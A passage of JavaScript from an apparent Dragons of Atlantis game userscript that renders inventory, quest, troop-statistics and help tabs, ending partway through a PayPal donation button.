						for (var i = 0; i < Math.ceil(items.length / 2); i++) {
							m += '<tr><td align=left width=70%><span id=' + setUID('tabInfoInv_' + items[i].type + '_hl') + '>' + items[i].desc + '</span></td><td align=left width=20%>' + numf(items[i].qty, ' ') + '</td>' + '<td align=center valign=middle width=10%>';
							if (items[i].usable) {
								m += '<input id=' + setUID('tabInfoInv_' + items[i].type) + ' ref=' + items[i].type + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Use') + '" />';
								if ((/(arsenal|chest)/.test(type))) {
									m += '<input id=' + setUID('tabInfoInv_' + items[i].type + '_nb') + ' ref=' + items[i].type + ' class="short" type=textbox value=1 />';
									ium.push(items[i].type);
								}
								else {
									iu.push(items[i].type);
								}
							} else m += '&nbsp';
							m += '</td></tr>';
						}
						m += '</table></td><td width=50%><table class=' + UID['row_style'] + ' width=100%>';
						for (var i = Math.ceil(items.length / 2); i < items.length; i++) {
							m += '<tr><td align=left width=70%><span id=' + setUID('tabInfoInv_' + items[i].type + '_hl') + '>' + items[i].desc + '</span></td><td align=left width=20%>' + numf(items[i].qty, ' ') + '</td>' + '<td align=center valign=middle width=10%>';
							if (items[i].usable) {
								m += '<input id=' + setUID('tabInfoInv_' + items[i].type) + ' ref=' + items[i].type + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Use') + '" />';
								if ((/(arsenal|chest)/.test(type))) {
									m += '<input id=' + setUID('tabInfoInv_' + items[i].type + '_nb') + ' ref=' + items[i].type + ' class="short" type=textbox value=1 />';
									ium.push(items[i].type);
								}
								else {
									iu.push(items[i].type);
								}
							} else m += '&nbsp';
							m += '</td></tr>';
						}
						m += '</table></td></tr><tr><td> &nbsp </td></tr>';
					}
				}
				m += '</table></div>';
				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
				for (var i = 0; i < iu.length; i++)
					document.getElementById(UID['tabInfoInv_' + iu[i]]).addEventListener('click', useSingleItem, false);
				
				for (var i = 0; i < ium.length; i++) {
					document.getElementById(UID['tabInfoInv_' + ium[i]]).addEventListener('click', useMoreItem, false);
					document.getElementById(UID['tabInfoInv_' + ium[i] + '_nb']).addEventListener('change', ctrlNbItem, false);
				}

				function ctrlNbItem(event) {
					var nb = toNum(event.target.value);
					if (nb > 50) {
						event.target.style.backgroundColor = 'red';
					} else {
						event.target.style.backgroundColor = '';
					}
				}
				function useSingleItem(event) {
					var id = event.target.getAttribute('ref');
					event.target.disabled = true;
					Element.removeClassName(event.target, UID['btn_green']);
					Element.addClassName(event.target, UID['btn_disabled']);
					new MyAjax.useSingleItem(id, function(rslt) {
						if (rslt.ok) {
							actionLog('<B>' + translate(id) + '</B> ' + translate('used') + ' ' + translate('Successfully'));
						} else {
							actionLog(translate('Single usage of') + ' ' + translate(id) + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
						t.timer = setTimeout(t.show, 100);
					});
				}
				function useMoreItem(event) {
					var id = event.target.getAttribute('ref');
					var nb = document.getElementById(UID['tabInfoInv_' + id + '_nb']).value;
					event.target.disabled = true;
					Element.removeClassName(event.target, UID['btn_green']);
					Element.addClassName(event.target, UID['btn_disabled']);
					new MyAjax.useMoreItem(id, nb, function(rslt) {
						if (rslt.ok) {
							actionLog('<B>' + nb + 'x ' + translate(id) + '</B> ' + translate('used') + ' ' + translate('Successfully'));
							Tabs.Info.diff = rslt.diff;
						} else {
							actionLog(translate('More usage of') + ' ' + translate(id) + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
						Tabs.Info.diff = rslt.diff;
						Tabs.Info.timer = setTimeout(Tabs.Info.show, 100);
						setTimeout(Tabs.Info.highLightDiff, 600);
					});
				}
			},

			tabInfoQuests: function() {
				var t = Tabs.Info;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoQuests']).className = 'selected';
				document.getElementById(UID['tabInfoQuests']).style.zIndex = 1;
				t.lastSubTab = 'tabInfoQuests';
				t.contentType = 2;
				Data.options.info.current_tab = t.contentType;

				var city = Seed.cities[CAPITAL.id];
				var m = '<div class=' + UID['status_ticker'] + ' stype="width:540px; max-width:540px;">';
				m += t.cityTitle(CAPITAL.id);
				m += '<table style="margin-top:3px" width=100%>';

				for (var i = 0; i < Seed.quests.category.length; i++) {
					if (Data.options.collapsed.quests[i] == undefined)
						Data.options.collapsed.quests[i] = false;
				}

				var cl = [],
					ql = [];
				for (var i = 0; i < Seed.quests.category.length; i++) {
					var questListId = 'tabInfo_questList_' + i;
					var categoryId = 'tabInfo_categ_' + i;
					var accordionId = 'tabInfo_accordion_' + i;
					var first = true;
					for (var j = 0; j < Seed.quests.list[Seed.quests.category[i]].length; j++) {
						var quest = Seed.quests.list[Seed.quests.category[i]][j];
						var questId = 'tabInfo_quest_' + i + '_' + j;
						var questFbId = 'tabInfo_QFb_' + i + '_' + j;
						var questname = Translation.xml['quests'][_normalize(quest.name)];
						var completed = isCompleted(quest.name);
						var claimed = isClaimed(quest.name);
						if (!claimed) {
							if (first) {
								m += '<tr class=' + UID['row_headers'] + ' align=center>' + '	<td style="border-bottom: 1px solid; border-bottom: 1px solid;" width=100%>' + '		<A><div id=' + setUID(categoryId) + ' ref="' + i + '" >' + '		<table width=100%>' + '			<tr><td align=center width=100% style="border-right:none">' + translate(Seed.quests.category[i]) + '</td>' + '				<td align=right style="border-right:none"><div id=' + setUID(accordionId) + ' ref="' + i + '" style="font-size:16px"></div></td>' + '		</tr></table></div></A>' + '	</td>' + '</tr>' + '<tr valign=top>' + '	<td width=100%>' + '		<div id=' + setUID(questListId) + '>' + '			<table class=' + UID['row_style'] + '>';
								cl.push(UID[categoryId]);
								first = false;
							}
							var recommended = (quest.recommended && !completed) ? '<span class=' + UID['red'] + '>' + questname + '</span>' : questname;
							m += '<tr valign=top><td align=left width="160px" style="padding-bottom: 3px; border-bottom: 1px solid #898989;">' + recommended + '</td>' + '	<td align=left width="328px" style="padding-bottom: 3px; border-bottom: 1px solid #898989;">' + Translation.xml['quests'][_normalize(quest.name + '-objectives')] + '<br>' + '		<font color=' + TIMER_COLOR + '>' + getRewards(quest.reward) + '</font>';
							if (completed) {
								m += '<td align=center valign=middle width="50px" style="padding-bottom: 3px; border-bottom: 1px solid #898989;"><div id=' + setUID(questFbId) + '>' + '<input id=' + setUID(questId) + ' class="' + UID['btn_green'] + ' small" ref="' + i + '_' + j + '" style="width:auto !important;" type=submit value=" ' + translate('Claim') + ' " />' + '</div></td>' + '</tr>';
								ql.push(UID[questId]);
							} else m += '<td width="50px" style="padding-bottom: 3px; border-bottom: 1px solid #898989;"></td></tr>';
						}
					}
					if (!first) m += '</table></div></td></tr>';
				}
				m += '</table></div>';
				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
				for (var c = 0; c < cl.length; c++) {
					document.getElementById(cl[c]).addEventListener('click', toggleHideShow, false);
					var categ = document.getElementById(cl[c]).getAttribute('ref');
					var id = 'tabInfo_questList_' + categ;
					var acc_id = 'tabInfo_accordion_' + categ;
					var el = document.getElementById(UID[id]);
					if (Data.options.collapsed.quests[categ]) {
						el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
					} else {
						el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
					}
				}

				for (var q = 0; q < ql.length; q++)
					document.getElementById(ql[q]).addEventListener('click', claimRewards, false);

				function isClaimed(name) {
					var found = false;
					if (Seed.player.quests.claimed) {
						for (var x = 0; x < Seed.player.quests.claimed.length && !found; x++) {
							if (name == Seed.player.quests.claimed[x]) found = true;
						}
					}
					return found;
				}

				function isCompleted(name) {
					var found = false;
					if (Seed.player.quests.completed) {
						for (var x = 0; x < Seed.player.quests.completed.length && !found; x++) {
							if (name == Seed.player.quests.completed[x]) found = true;
						}
					}
					return found;
				}

				function getRewards(list) {
					var result = '';
					var tRes = [];
					for (var i in list) {
						if (list[i] > 0)
							tRes.push(numf(list[i], ' ') + ' ' + translate(i));
					}
					if (tRes.length > 0) result = tRes.join(', ');
					return result;
				}

				function toggleHideShow(event) {
					if (event.target.tagName == 'DIV')
						element = event.target;
					else {
						var parentElement = event.target.parentNode;
						while (parentElement.tagName != 'DIV') {
							parentElement = parentElement.parentNode;
						}
						element = parentElement;
					}
					var categ = element.getAttribute('ref');
					var id = 'tabInfo_questList_' + categ;
					var acc_id = 'tabInfo_accordion_' + categ;
					var el = document.getElementById(UID[id]);
					if (el.style.display == 'none') {
						el.style.display = 'block';
						document.getElementById(UID[acc_id]).innerHTML = '-&nbsp';
						Data.options.collapsed.quests[categ] = false;
					} else {
						el.style.display = 'none';
						document.getElementById(UID[acc_id]).innerHTML = '+&nbsp';
						Data.options.collapsed.quests[categ] = true;
					}
				}

				function claimRewards(event) {
					var id = event.target.getAttribute('ref').split('_');
					var name = Seed.quests.list[Seed.quests.category[id[0]]][id[1]].name;
					event.target.disabled = true;
					Element.removeClassName(event.target, UID['btn_green']);
					Element.addClassName(event.target, UID['btn_disabled']);
					var FBid = 'tabInfo_QFb_' + event.target.getAttribute('ref');
					var FBel = document.getElementById(UID[FBid]);
					new MyAjax.claimQuest(name, function(rslt) {
						if (rslt.ok) {
							actionLog('<B>' + translate('Quest') + ' ' + name + '</B> ' + translate('claimed') + ' ' + translate('Successfully'));
							FBel.innerHTML = '<font color=#898989>' + translate('Claimed') + '</font>';
						} else {
							actionLog(translate('Claiming quest') + ' ' + name + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
							FBel.innerHTML = '<font color=#AA0000><B>' + translate('Error') + '</b></font>';
						}
					});
				}

				function _normalize(str) {
					return str.toLowerCase().replace(/_/g, '-');
				}
			},

			tabInfoTroops: function() {
				var t = Tabs.Info;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoTroops']).className = 'selected';
				document.getElementById(UID['tabInfoTroops']).style.zIndex = 1;
				t.lastSubTab = 'tabInfoTroops';
				t.contentType = 4;
				Data.options.info.current_tab = t.contentType;
				var m = '<div class=' + UID['title'] + '>' + translate('Troops') + ' ' + translate('Overview') + '</div>' + '<div class=' + UID['status_ticker'] + ' style="margin-bottom: 5px !important">' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabInfoTroopsMight') + '>' + translate('Might') + '</a></li>' + '	<li class="tab"><a id=' + setUID('tabInfoTroopsFood') + '>' + translate('Consumption') + '</a></li>' + '	<li class="tab"><a id=' + setUID('tabInfoTroopsStats') + '>' + translate('Statistics') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabInfoTroops_Content') + ' style="height:560px; ; max-height:560px; overflow-y:auto">';
				document.getElementById(UID['tabInfo_Content']).innerHTML = m;
				document.getElementById(UID['tabInfoTroopsMight']).addEventListener('click', t.tabInfoTroopsMight, false);
				document.getElementById(UID['tabInfoTroopsFood']).addEventListener('click', t.tabInfoTroopsFood, false);
				document.getElementById(UID['tabInfoTroopsStats']).addEventListener('click', t.tabInfoTroopsStats, false);
				switch (t.troopContentType || 0) {
					case 0:
						t.tabInfoTroopsMight();
						break;
					case 1:
						t.tabInfoTroopsFood();
						break;
					case 2:
						t.tabInfoTroopsStats();
						break;
				}
			},

			tabInfoTroopsMight: function() {
				var t = Tabs.Info;
				document.getElementById(UID['tabInfoTroopsMight']).className = 'selected';
				document.getElementById(UID['tabInfoTroopsMight']).style.zIndex = 1;
				document.getElementById(UID['tabInfoTroopsFood']).className = '';
				document.getElementById(UID['tabInfoTroopsFood']).style.zIndex = 0;
				document.getElementById(UID['tabInfoTroopsStats']).className = '';
				document.getElementById(UID['tabInfoTroopsStats']).style.zIndex = 0;
				t.troopContentType = 0;
				Data.options.info.troop_sub_tab = t.troopContentType;
				var city = Seed.cities[CAPITAL.id];
				var alliance_name = (Seed.player.alliance) ? Seed.player.alliance.name : '';
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:10px !important">' + '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + '>' + '<tr><td align=left width=35%>' + Seed.player.name + ' / ' + city.name + '</td>' + '<td align=center width=30%>' + city.x + ',' + city.y + '</td>' + '<td align=center width=200px><font color=yellow>' + alliance_name + '</font></td>' + '<td width=35% align=right><font color=yellow>' + numf(Seed.player.might) + '</font></td>' + '</tr></table></div>' + '<table class=' + UID['row_style'] + ' style="margin-top:3px" width=80%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=50%>' + translate('Troops') + '</td>' + '		<td width=20%>' + translate('Quantity') + '</td>' + '		<td width=10%>' + translate('Might') + '</td>' + '		<td width=20%>' + translate('Total') + '</td>' + '	</tr>';
				var total = 0;
				for (var i = 0; i < all_unit_types.length; i++) {
					var numTroops = getTroopNumbers(CAPITAL.id, all_unit_types[i]);
					var unit_might = Seed.stats.unit[all_unit_types[i]].power;
					var total_might = numTroops.total * unit_might;
					total += total_might;
					m += '	<tr valign=top>' + '		<td class=right>' + translate(all_unit_types[i]) + ' :</td>' + '		<td align=right>' + numf(numTroops.total, ' ') + '</td>' + '		<td align=right>' + numf(unit_might, ' ') + '</td>' + '		<td align=right>' + numf(total_might, ' ') + '</td>' + '	</tr>';
				}
				m += '	<tr><td colspan=4>&nbsp</td></tr>' + '	<tr><td>&nbsp</td><td colspan=3 align=center><hr></td></tr>' + '	<tr valign=top>' + '		<td class=right>' + translate('Troops') + ' :</td>' + '		<td align=right></td>' + '		<td align=right></td>' + '		<td align=right><b>' + numf(total, ' ') + '</b></td>' + '	</tr>' + '	<tr valign=top>' + '		<td class=right>' + translate('Building') + ' + ' + translate('Quests') + ' :</td>' + '		<td align=right></td>' + '		<td align=right></td>' + '		<td align=right><b>' + numf(Seed.player.might - total, ' ') + '</b></td>' + '	</tr>' + '	<tr><td>&nbsp</td><td colspan=3 align=center><hr></td></tr>' + '	<tr valign=top>' + '		<td class=right>' + translate('Total') + ' :</td>' + '		<td align=right></td>' + '		<td align=right></td>' + '		<td align=right><font color=red><b>' + numf(Seed.player.might) + '</b></font></td>' + '	</tr>' + '</table></div>';
				document.getElementById(UID['tabInfoTroops_Content']).innerHTML = m;
			},

			tabInfoTroopsFood: function() {
				var t = Tabs.Info;
				document.getElementById(UID['tabInfoTroopsMight']).className = '';
				document.getElementById(UID['tabInfoTroopsMight']).style.zIndex = 0;
				document.getElementById(UID['tabInfoTroopsFood']).className = 'selected';
				document.getElementById(UID['tabInfoTroopsFood']).style.zIndex = 1;
				document.getElementById(UID['tabInfoTroopsStats']).className = '';
				document.getElementById(UID['tabInfoTroopsStats']).style.zIndex = 0;
				t.troopContentType = 1;
				Data.options.info.troop_sub_tab = t.troopContentType;
				var city = Seed.cities[CAPITAL.id];
				var alliance_name = (Seed.player.alliance) ? Seed.player.alliance.name : '';
				setUID('tabInfoTroopFood_Sel');
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:10px !important">' + '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + '>' + '<tr><td align=left width=35%>' + Seed.player.name + ' / ' + city.name + '</td>' + '<td align=center width=30%>' + city.x + ',' + city.y + '</td>' + '<td align=center width=200px><font color=yellow>' + alliance_name + '</font></td>' + '<td width=35% align=right><font color=yellow>' + numf(Seed.player.might) + '</font></td>' + '</tr></table></div>' + '<table><tr>' + '	<td><label>' + translate('Troops') + '</label></td>' + '	<td><input type=radio name=' + UID['tabInfoTroopFood_Sel'] + ' value="0" /></td><td align=left colspan=2><label>' + translate('Total') + '</label></td>' + '	<td width="20px"></td>' + '	<td><input type=radio name=' + UID['tabInfoTroopFood_Sel'] + ' value="1" /></td><td align=left width=15%><label>' + translate('In city') + '</label></td>' + '	</tr>' + '</table><br>' + '<table class=' + UID['row_style'] + ' style="margin-top:3px" width=80%>' + '	<tr class=' + UID['row_headers'] + ' align=center>' + '		<td width=50%>' + translate('Troops') + '</td>' + '		<td width=20%>' + translate('Quantity') + '</td>' + '		<td width=10%>' + translate('Upkeep') + '</td>' + '		<td width=20%>' + translate('Consumption') + '</td>' + '	</tr>';
				var total = 0;
				var total_incity = 0;
				for (var i = 0; i < all_unit_types.length; i++) {
					var numTroops = getTroopNumbers(CAPITAL.id, all_unit_types[i]);
					var unit_upkeep = Seed.stats.unit[all_unit_types[i]].upkeep.food;
					var total_upkeep = numTroops.total * unit_upkeep;
					var incity_upkeep = (numTroops.incity + numTroops.indefense) * unit_upkeep;
					total += total_upkeep;
					total_incity += incity_upkeep;
					m += '	<tr valign=top>' + '		<td class=right>' + translate(all_unit_types[i]) + ' :</td>' + '		<td align=right>' + numf((Data.options.info.consumption_sel == 1) ? (numTroops.incity + numTroops.indefense) : numTroops.total) + '</td>' + '		<td align=right>' + numf(unit_upkeep, ' ') + '</td>' + '		<td align=right>' + numf((Data.options.info.consumption_sel == 1) ? incity_upkeep : total_upkeep) + '</td>' + '	</tr>';
				}
				var unit_upkeep = Seed.greatDragons.GreatDragon[city.great_dragon.level].upkeep.food;
				m += '	<tr valign=top>' + '		<td class=right>' + translate('GreatDragon') + ' :</td>' + '		<td align=right></td>' + '		<td align=right>' + numf(unit_upkeep, ' ') + '</td>' + '		<td align=right>' + numf(unit_upkeep, ' ') + '</td>' + '	</tr>';
				total += unit_upkeep;
				total_incity += unit_upkeep;
				var figures = city.figures.resource_rates['food'];
				var rate = toNum(figures.rate);
				var production = figures.production + (figures.production * figures.multipliers.wilderness) + (figures.production * figures.multipliers.boosts) + (figures.production * figures.multipliers.research);
				var total_rate = production - total;
				m += '	<tr><td colspan=4>&nbsp</td></tr>' + '	<tr><td>&nbsp</td><td colspan=3 align=center><hr></td></tr>' + '	<tr valign=top>' + '		<td class=right>' + translate('Troops') + ' :</td>' + '		<td align=right></td>' + '		<td align=right></td>' + '		<td align=right><b>' + numf(-1 * ((Data.options.info.consumption_sel == 1) ? total_incity : total)) + '</b></td>' + '	</tr>' + '	<tr valign=top>' + '		<td class=right>' + translate('Production') + ' (' + translate('Per Hour') + ') :</td>' + '		<td align=right></td>' + '		<td align=right></td>' + '		<td align=right><b>' + numf(production) + '</b></td>' + '	</tr>' + '	<tr><td>&nbsp</td><td colspan=3 align=center><hr></td></tr>' + '	<tr valign=top>' + '		<td class=right>' + translate('Hourly rate') + ' :</td>' + '		<td align=right></td>' + '		<td align=right></td>' + '		<td align=right><font color=red><b>' + numf((Data.options.info.consumption_sel == 1) ? rate : total_rate) + '</b></font></td>' + '	</tr>' + '</table></div>';
				document.getElementById(UID['tabInfoTroops_Content']).innerHTML = m;
				var r = document.getElementsByName(UID['tabInfoTroopFood_Sel']);
				for (i = 0; i < r.length; i++) {
					r[i].addEventListener('change', enableChanged, false);
					r[i].checked = (r[i].value == Data.options.info.consumption_sel);
				}

				function enableChanged(event) {
					var t = Tabs.Info;
					Data.options.info.consumption_sel = toNum(event.target.value);
					t.tabInfoTroopsFood();
				}
			},

			tabInfoTroopsStats: function() {
				var t = Tabs.Info;
				document.getElementById(UID['tabInfoTroopsMight']).className = '';
				document.getElementById(UID['tabInfoTroopsMight']).style.zIndex = 0;
				document.getElementById(UID['tabInfoTroopsFood']).className = '';
				document.getElementById(UID['tabInfoTroopsFood']).style.zIndex = 0;
				document.getElementById(UID['tabInfoTroopsStats']).className = 'selected';
				document.getElementById(UID['tabInfoTroopsStats']).style.zIndex = 1;
				t.troopContentType = 2;
				Data.options.info.troop_sub_tab = t.troopContentType;
				var city = Seed.cities[CAPITAL.id];
				var alliance_name = (Seed.player.alliance) ? Seed.player.alliance.name : '';
				var m = '<div class=' + UID['status_ticker'] + ' style="margin-top:10px !important">' + '<div class=' + UID['subtitle'] + '><table class=' + UID['table'] + '>' + '<tr><td align=left width=35%>' + Seed.player.name + ' / ' + city.name + '</td>' + '<td align=center width=30%>' + city.x + ',' + city.y + '</td>' + '<td align=center width=200px><font color=yellow>' + alliance_name + '</font></td>' + '<td width=35% align=right><font color=yellow>' + numf(Seed.player.might) + '</font></td>' + '</tr></table></div>' + '<table class=' + UID['row_style'] + ' style="margin-top:3px; overflow:auto; white-space:nowrap" width=100%>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td valign=middle width=29%><b>' + translate('Troops') + '</b></td>' + '		<td valign=middle width=12%><b>' + translate('Melee') + '</b></td>' + '		<td valign=middle width=11%><b>' + translate('Defense') + '</b></td>' + '		<td valign=middle width=11%><b>' + translate('Speed') + '</b></td>' + '		<td valign=middle width=11%><b>' + translate('Range') + '</b></td>' + '		<td valign=middle width=12%><b>' + translate('Ranged') + '</b></td>' + '		<td valign=middle width=14%><b>' + translate('Life') + '</b></td>' + '	</tr>';
				var total = 0;
				for (var i = 0; i < all_unit_types.length; i++) {
					var stats = Seed.stats.unit[all_unit_types[i]];
					m += '	<tr valign=top>' + '		<td class=right>' + translate(all_unit_types[i]) + ' :</td>' + '		<td align=right>' + numf(stats.melee, ' ') + '</td>' + '		<td align=right>' + numf(stats.defense, ' ') + '</td>' + '		<td align=right>' + numf(stats.speed, ' ') + '</td>' + '		<td align=right>' + numf(stats.range, ' ') + '</td>' + '		<td align=right>' + numf(stats.ranged, ' ') + '</td>' + '		<td align=right>' + numf(stats.life, ' ') + '</td>' + '	</tr>';
				}
				for (var i = 0; i < all_dragon_list.length; i++) {
					var in_list = true;
					var nivDrg = 0;
					switch (all_dragon_list[i]) {
						case 'GreatDragon':
							var stats = Seed.greatDragons.GreatDragon[15];
							nivDrg = 15;
							break;
						case 'WaterDragon':
							var stats = Seed.greatDragons.WaterDragon[12];
							nivDrg = 12;
							break;
						case 'StoneDragon':
							var stats = Seed.greatDragons.StoneDragon[12];
							nivDrg = 12;
							break;
						case 'FireDragon':
							var stats = Seed.greatDragons.FireDragon[12];
							nivDrg = 12;
							break;
						case 'WindDragon':
							var stats = Seed.greatDragons.WindDragon[12];
							nivDrg = 12;
							break;
						case 'IceDragon':
							var stats = Seed.greatDragons.IceDragon[12];
							nivDrg = 12;
							break;
						case 'SwampDragon':
							var stats = Seed.greatDragons.SwampDragon[11];
							nivDrg = 11;
							break;
						case 'ForestDragon':
							var stats = Seed.greatDragons.ForestDragon[11];
							nivDrg = 11;
							break;
						case 'DesertDragon':
							var stats = Seed.greatDragons.DesertDragon[10];
							nivDrg = 10;
							break;
						case 'ChronoDragon':
							var stats = Seed.greatDragons.ChronoDragon[11];
							nivDrg = 11;
							break;
						case 'KaiserDragon':
							var stats = Seed.greatDragons.KaiserDragon[10];
							nivDrg = 10;
							break;
						case 'CaveDragon':
							var stats = Seed.greatDragons.KaiserDragon[10];
							nivDrg = 10;
							break;
						case 'LunaDragon':
							var stats = Seed.greatDragons.KaiserDragon[10];
							nivDrg = 10;
							break;
						case 'ColossusDragon':
							var stats = Seed.greatDragons.ColossusDragon[10];
							nivDrg = 10;
							break;
						case 'SpectralDragon':
							var stats = Seed.greatDragons.SpectralDragon[10];
							nivDrg = 10;
							break;
						default:
							in_list = false;
							break;
					}
					if (in_list) {
						m += '	<tr valign=top>' + '		<td class=right>' + translate(all_dragon_list[i]) + nivDrg + ' :</td>' + '		<td align=right>' + numf(stats.melee, ' ') + '</td>' + '		<td align=right>' + numf(stats.defense, ' ') + '</td>' + '		<td align=right>' + numf(stats.speed, ' ') + '</td>' + '		<td align=right>' + numf(stats.range, ' ') + '</td>' + '		<td align=right>' + numf(stats.ranged, ' ') + '</td>' + '		<td align=right>' + numf(stats.life, ' ') + '</td>' + '	</tr>';
					}
				}
				m += '</table></div>';
				document.getElementById(UID['tabInfoTroops_Content']).innerHTML = m;
			},

			tabInfoHelp: function() {
				var t = Tabs.Info;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabInfoHelp']).className = 'selected';
				document.getElementById(UID['tabInfoHelp']).style.zIndex = 1;
				t.lastSubTab = 'tabInfoHelp';
				t.contentType = 3;
				Data.options.info.current_tab = t.contentType;
				var m = '<div id=' + setUID('tabInfo_Help') + '>' + '	<div class=' + UID['title'] + '>' + translate('About ' + scriptName + '') + '</div>' + '	<div class=' + UID['status_ticker'] + ' style="height:575px; max-height:575px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important">' + '		<table id=' + setUID('tabInfo_HelpTable') + ' class=' + UID['table_console'] + ' cellspacing=1 width=100%>' + '			<tr><td><br><div align=left style="color:#000000">'
				+ '<center><h2><B>VISIT US</B><h2></center><br>' + '<b>On Facebook :</b>' + '<br>- <a href="http://www.facebook.com/groups/DoAscripts/" target="_blank">DOA Scripts</a>'  + '<br><br><b>On the Web :</b>' + '<br>- <a href="http://script.wygopro.com/" target="_blank">' + scriptName + '</a>' + '<br><br><center><h2><B>DONATION</B><h2></center><br>' + 'If you want to donate for ' + scriptName + ', I accept Ruby gifts and (for Crane - realm 312 only) troops donations ;))<br>' + 'So for those who are interested in ruby gifting, I invite you to send me a message on userscripts.<br>' + 'Note that for those who have already me as friend or who are playing in the same alliance as me, you can already send me your gifts of rubis :p ...<br>' + 'For the others, if you want, I can join you on a realm of your choice and join your alliance, just the time for the gift... Or if you want you can use the paypal button :)<br>' + '<br><B><I>Calcium </I></B><br><br><center>' + '<form action=\"https://www.paypal.com/cgi-bin/webscr" method="post" target="_blank"><input type="hidden" name="cmd" value="_s-xclick"><input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----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